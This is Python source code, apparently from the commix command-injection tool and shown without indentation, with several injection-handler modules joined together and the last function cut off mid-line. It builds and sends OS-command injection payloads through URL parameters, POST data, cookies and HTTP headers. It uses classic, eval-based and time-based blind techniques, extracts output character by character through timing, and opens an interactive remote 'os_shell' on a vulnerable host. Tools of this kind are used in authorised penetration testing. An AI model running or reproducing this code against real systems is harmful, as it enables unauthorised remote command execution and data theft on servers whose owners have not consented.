def check_injection(separator, TAG, cmd, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter, alter_shell,
filename):
if alter_shell:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.cmd_execution_alter_shell(
separator, TAG, cmd)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.cmd_execution(separator, TAG, cmd)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Executing the '" + cmd + "' command... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload))
if settings.VERBOSITY_LEVEL > 1:
print ""
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
response = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
response = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
response = referer_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
response = custom_header_injection_test(url, vuln_parameter,
payload)
else:
# Check if defined method is GET (Default).
if http_request_method == "GET":
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url)
target = re.sub(settings.INJECT_TAG, payload, url)
vuln_parameter = ''.join(vuln_parameter)
request = urllib2.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request.
response = requests.get_request_response(request)
else:
# Check if defined method is POST.
parameter = menu.options.data
parameter = urllib2.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter)
parameter = parameter.replace("+", "%2B")
# Define the POST data
if settings.IS_JSON == False:
data = re.sub(settings.INJECT_TAG, payload, parameter)
request = urllib2.Request(url, data)
else:
payload = payload.replace("\"", "\\\"")
data = re.sub(settings.INJECT_TAG, urllib.unquote(payload),
parameter)
try:
data = json.loads(data, strict=False)
except:
pass
request = urllib2.Request(url, json.dumps(data))
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request.
response = requests.get_request_response(request)
return response
def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response):
if settings.TARGET_OS == "win":
previous_cmd = cmd
if alter_shell:
cmd = "\"" + cmd + "\""
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"
found_chars = False
info_msg = "Checking the reliability of the used payload "
info_msg += "in case of a false positive result... "
if settings.VERBOSITY_LEVEL == 1:
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
print settings.print_info_msg(info_msg)
# Varying the sleep time.
timesec = timesec + random.randint(1, 5)
# Checking the output length of the used payload.
for output_length in range(1, 3):
# Execute shell commands on vulnerable host.
if alter_shell :
payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
else:
payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for testing the reliability of used payload..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(settings.print_payload(payload_msg) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF):
found_chars = True
break
if found_chars == True :
if settings.TARGET_OS == "win":
cmd = previous_cmd
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = 0
sys.stdout.flush()
is_valid = False
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 9):
# Get the execution ouput, of shell execution.
if alter_shell:
payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method)
else:
payload = tfb_payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Encode payload to base64 format.
if settings.TAMPER_SCRIPTS['base64encode']:
payload = base64.b64encode(payload)
# Encode payload to hex format.
elif settings.TAMPER_SCRIPTS['hexencode']:
payload = payload.encode("hex")
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(settings.print_payload(payload_msg) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF):
output.append(ascii_char)
is_valid = True
break
if is_valid:
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
return how_long, output
def eb_injection_handler(url, timesec, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[
item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
url = eb_injector.warning_detection(url, http_request_method)
if not settings.LOAD_SESSION:
info_msg = "Testing the " + "(" + injection_type.split(
" ")[0] + ") " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 1:
print ""
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(
settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(
url, technique, injection_type):
try:
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
sys.exit(0)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename,
http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(
separator, TAG, randv1, randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(
")%3B" + urllib.quote(")}"),
")" + urllib.quote(")}"))
#payload = payload + TAG + ""
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
if not settings.TAMPER_SCRIPTS['base64encode'] and \
not settings.TAMPER_SCRIPTS['hexencode']:
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
print settings.print_payload(payload)
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = eb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = eb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = eb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = eb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(
payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
shell = eb_injector.injection_test_results(
response, TAG, randvcalc)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
"%20", " ", payload) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
timesec=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
eb_enumeration.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
timesec)
# print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
eb_enumeration.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
if not menu.file_access_options(
) and not menu.options.os_cmd and new_line:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
file_access_again = sys.stdin.readline(
).replace("\n", "").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
timesec)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
eb_file_access.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
if not menu.file_access_options():
print ""
eb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace(
"\n", "").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename, technique, go_back,
no_result, timesec,
go_back_again)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# The main command injection exploitation.
response = eb_injector.injection(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(
url, timesec)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(
response, TAG, cmd)
shell = "".join(
str(p)
for p in shell).replace(
" ", "", 1)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
#if shell:
if shell != "":
shell = "".join(
str(p) for p in shell)
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, shell)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(
err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
previous_cmd = cmd
if alter_shell:
cmd = "\"" + cmd + "\""
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"
if menu.options.file_write or menu.options.file_upload :
minlen = 0
else:
minlen = 1
found_chars = False
info_msg = "Retrieving the length of execution output... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL > 1:
print ""
for output_length in range(int(minlen), int(maxlen)):
# Execute shell commands on vulnerable host.
if alter_shell :
payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
else:
payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
# Examine time-responses
injection_check = False
if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF):
injection_check = True
if injection_check == True:
if output_length > 1:
if settings.VERBOSITY_LEVEL >= 1:
pass
else:
sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL+ "]\n")
sys.stdout.flush()
if settings.VERBOSITY_LEVEL == 1:
print ""
success_msg = "Retrieved " + str(output_length) + " characters."
print settings.print_success_msg(success_msg)
found_chars = True
injection_check = False
break
# Proceed with the next (injection) step!
if found_chars == True :
if settings.TARGET_OS == "win":
cmd = previous_cmd
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = "0.0"
info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE + "', please wait... "
if menu.options.verbose < 1 :
info_msg += "[ " +str(percent)+ "% ]"
elif menu.options.verbose == 1 :
info_msg += ""
else:
info_msg += "\n"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
for num_of_chars in range(1, int(num_of_chars)):
char_pool = checks.generate_char_pool()
for ascii_char in char_pool:
# Get the execution ouput, of shell execution.
if alter_shell :
payload = tfb_payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method)
else:
payload = tfb_payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
# Examine time-responses
injection_check = False
if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF):
injection_check = True
if injection_check == True:
if not settings.VERBOSITY_LEVEL >= 1:
output.append(chr(ascii_char))
percent = ((num_of_chars*100)/output_length)
float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%"
if percent == 100:
float_percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE
info_msg += "', please wait... [ " + float_percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
output.append(chr(ascii_char))
injection_check = False
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
else:
check_start = 0
if not settings.VERBOSITY_LEVEL >= 1:
sys.stdout.write("[" +Fore.RED+ " FAILED " + Style.RESET_ALL+ "]")
sys.stdout.flush()
else:
print ""
check_how_long = 0
output = ""
if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session:
print ""
return check_how_long, output
def tb_injection_handler(url, timesec, filename, http_request_method,
url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
export_injection_info = False
how_long = 0
injection_type = "blind OS command injection"
technique = "time-based command injection technique"
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + "(" + injection_type.split(
" ")[0] + ") " + technique + "... "
print settings.print_info_msg(info_msg)
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
warn_msg = "The '--url-reload' option is not available in " + technique + "."
print settings.print_warning_msg(warn_msg)
#whitespace = checks.check_whitespaces()
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
how_long_statistic = []
if settings.LOAD_SESSION and session_handler.notification(
url, technique, injection_type):
try:
settings.TIME_BASED_STATE = True
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
sys.exit(0)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename,
http_request_method)
if not settings.LOAD_SESSION:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(
separator, TAG, output_length, timesec,
http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(
separator, TAG, output_length, timesec,
http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(
payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(
settings.print_payload(payload_msg) +
"\n")
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
